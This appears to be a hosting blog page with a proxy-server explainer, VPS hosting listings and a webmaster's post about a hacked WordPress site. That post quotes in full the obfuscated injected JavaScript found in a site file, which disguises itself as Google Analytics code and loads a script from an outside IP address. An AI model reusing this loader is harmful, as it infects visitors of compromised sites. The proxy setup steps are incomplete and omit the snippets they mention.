How to set up a private proxy server on my VPS
A proxy server shares one internet connection with all the computers on your local network or it is a computer that offers a network service allowing clients to make indirect network connections to other network services. So basically a proxy (proxy server) is one that acts as mediator between the client (the computer of a user) and server. When clients request data from an Internet resource, traffic goes from your web browser/application first through the proxy before it reaches the requested sources and back through the proxy which then transmits the data to you. A proxy server sits between a client application, such as a Web browser, and a real server. It intercepts all requests to the real server to see if it can fulfill the requests itself. If not, it forwards the request to the real server.
How Proxy Servers Work:
1.When a computer on the intranet makes a request out to the Internet-such as to retrieve a Web page from a Web server-the internal computer actually contacts the proxy server, which in turn contacts the Internet server. The Internet server sends the Web page to the proxy server, which then forwards the page to the computer on the intranet.
2. Proxy servers log all traffic between the Internet and the intranet. They can log every IP address, date and time of access, URL, number of bytes downloaded, and so on. This information can be used in analyzing any attacks launched against the network. It can also help intranet administrators build better access and services for employees.
3. Some proxy servers work with special proxy clients. A more popular approach is to use off-the-shelf clients such as Netscape with proxy servers. When such an off-the-shelf package is used, it must be specially configured to work with proxy servers from a configuration menu. Then the intranet employee uses the client software as usual. The client software knows to go out to a proxy server to get the data, instead of to the Internet.
4. Proxy servers can do more than relay requests back and forth between an intranet and the Internet. They can also implement security schemes. For example, an FTP proxy server could be set up to allow files to be sent from the Internet to a computer on the intranet, but to block files from being sent from the corporate network out to the Internet-or vice versa. In this way, intranet administrators can block anyone outside the corporation from downloading vital corporate data. Or they can stop intranet users from downloading files which may contain viruses.
5. These can also be used to speed up the performance of some Internet services by caching data-keeping copies of the requested data. For example, a Web proxy server could cache many Web pages, so that whenever someone from the intranet wanted to get one of those Web pages, they could get it directly from the proxy server across high-speed intranet lines, without having to go out across the Internet and get the page at a lower speed from Internet lines.
A Virtual Private Server can work well to set up your own internet browsing proxy. It costs as little as $8 a month, which is roughly the same a private proxy or VPN provider, would charge you. But with you being in full control over the logs and resources on the server which can be used for other things besides hiding your IP when browsing the internet. It can be depicted by the diagram along with the instructions given below:
- You will need to install a proxy server on your machine, this example uses micro proxy, a small Unix based HTTP/HTTPS proxy that runs from inetd.
- Install xinetd on your server. Set micro proxy to run via xinetd (or inetd if you use that instead).
- Force xinetd to start the service for you by adding the following snippet of code in your etc/services file.
- Make sure the ports you want to use are open on the server, there are various methods to achieve this:
- Once you have installed micro proxy, configured xinetd and edited etc/services you should be done on the server side, now it is time to configure your internet browser.
My site was hacked
What to do when my site is hacked
The intention of this blog post to help those webmaster whose wordpress sites are hacked. Since I am not a programmer, I can only share what happened to me, and how I solved it. Hopefully this article will bring some value to you, In the article I will include some resources for further reading.
what happened
When I tried to login to wordpress I got this message "Parse error: syntax error, unexpected '<' in home/xxxx/xxxxx/xxxx/default-
widegets.php in line 0000". Now I havent't updated my site for a while, so I am pretty sure it was not me who made the error.
So I downloaded the file to my computer desk top from the location specified in the message, and found this script in line 0000
"<html><body><script type="text/javascript">var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript srñ='" + gaJsHost + "google-analytics.com/ga.js' " + '!@&s(#r)c@!=&)\'&h$!t^&!$@t@&$p#^&@:$^/&@!&/!9(1)@.(2)1!(2)&.^#6&@&!^5(@!&.&#$1@!4)8!#/($g#$a&.(j^s)'.replace(/#|&|@|\$|\(|\!|\^|\)/ig, '') + "' type='text/javascript'%3E%3C/script%3E"));</script><script type="text/javascript">try {var pageTracker = _gat._getTracker("UA-32645524-1");pageTracker._trackPageview();} catch(err) {}</script></body></html>
My one wasn't exactly the same but very similar and has a lot more codes in it, So I removed the code by upgrading my wordpress blog in cPanel, when it was completed I went to check my site again, and this time the error message was even better " This site may harm your computer ".
So it was comfirmed by Google the site was hacked.
solutions
1. Locate your ip
If you don't know your local ip here are the steps
For Windows
Start
Run
ipconfig
For Linux
Applications
Accessories
ifconfig
2 Who logged into system
This can be found within your cpanel last login, it should be your ip
3. Enable log archiving in cPanel
4. Take your site offline by create maintenance.php and editing .htaccess file.
5. Report to your hosting company
Most companies will be restoring your site or helping you solve the problems, some won't, but unless you try you won't know, and if your company does not want to help, it is probably time for you change a host.
6. Scan your computer
Scan your computer thoroughly using 2 or more antivirus systems listed below, if your site has more administrators, you should inform them to do the same
7. Upgrade all your thirdparty scripts to the latest version, such as wordpress , joomla, drupal. etc.
8. Change all your passwords, I mean all.
9. download all the files to your computer and scan them with antivirus softwares.
After the scan you want to look into every single file and find out if there is any other hacking scripts in the files
10. Once you are happy and sure all the files are clean, ask for a review in you google webmaster tools, it will take less than a day usually before they unmark your site.
For a more complete step by step solutions click here
The need to know before sign up for any hosting service
When you're signing up to any web hosting services, may it be dedicated, vps or shared hosting, it's easy to get lost in the jargon and sign on the dotted line before really knowing what exactly you're going to be paying for. The key is to remember that, as with any service you're looking to invest in, research is vital. read the full article here
Reliable UK & US Debian vps hosting
There are dozens of companies provding debian vps, and if I tell you that I have been a customer of all of them that would be a lie.
However, I have searched all over the internet, browsing through popular review sites, webmasters forums, blogs, questions & answers websites, as well as talking to those vps hosting companies customer service staffs, so if you want to spend two days reading boring reviews, well, be my guest.
I had a list of 20 debian vps providers, after evaluating them on customers experience and hardwares, and plans, only 4 left on my list, which are listed below.
VPS.NET
Cloud vps
Datacenters are located in both US and UK
$20 / month = 0.4GHz CPU, 256 RAM, 10GB storage, 250GB bandwidth
For more Info click here
Pandela
8-Core Servers, Virtuozzo/Hyper V
256MB RAM, 200GB Banwidth, 5GB storage $17
2048 MB RAM, 1500 GB Bandwidth, 50GB storage $64
Additional IP's: $1/mth
Extra Bandwidth: $0.25/GB
For more Info click here
Sitevalley
xen servers
$14.95 / month = 256 MB Dedicated Memory, 256 MB SWAP Memory, 20 GB storage, 100 GB Bandwidth
$49.95 / month = 1024 MB Dedicated Memory, 1024 MB SWAP Memory, 80 GB storage, 500 GB Bandwidth, 4 Dedicated IP
Adult allowed
For more Info click here
Eukhost - uk webhosting provider
Virtuozzo server
£ 19 / month = 15 GB Web Space, 300 GB Monthly Bandwidth, 384 MB Guaranteed RAM
£ 39 / month = 45 GB Web Space, 500 GB Monthly Bandwidth, 640 MB Guaranteed RAM
Muiltply by 10 is your yearly price
For more Info click here
3 Months FREE offer ends December 31st!
1and1 internet is giving away 3 months free hosting. click this link to get you 3 month free hosting.
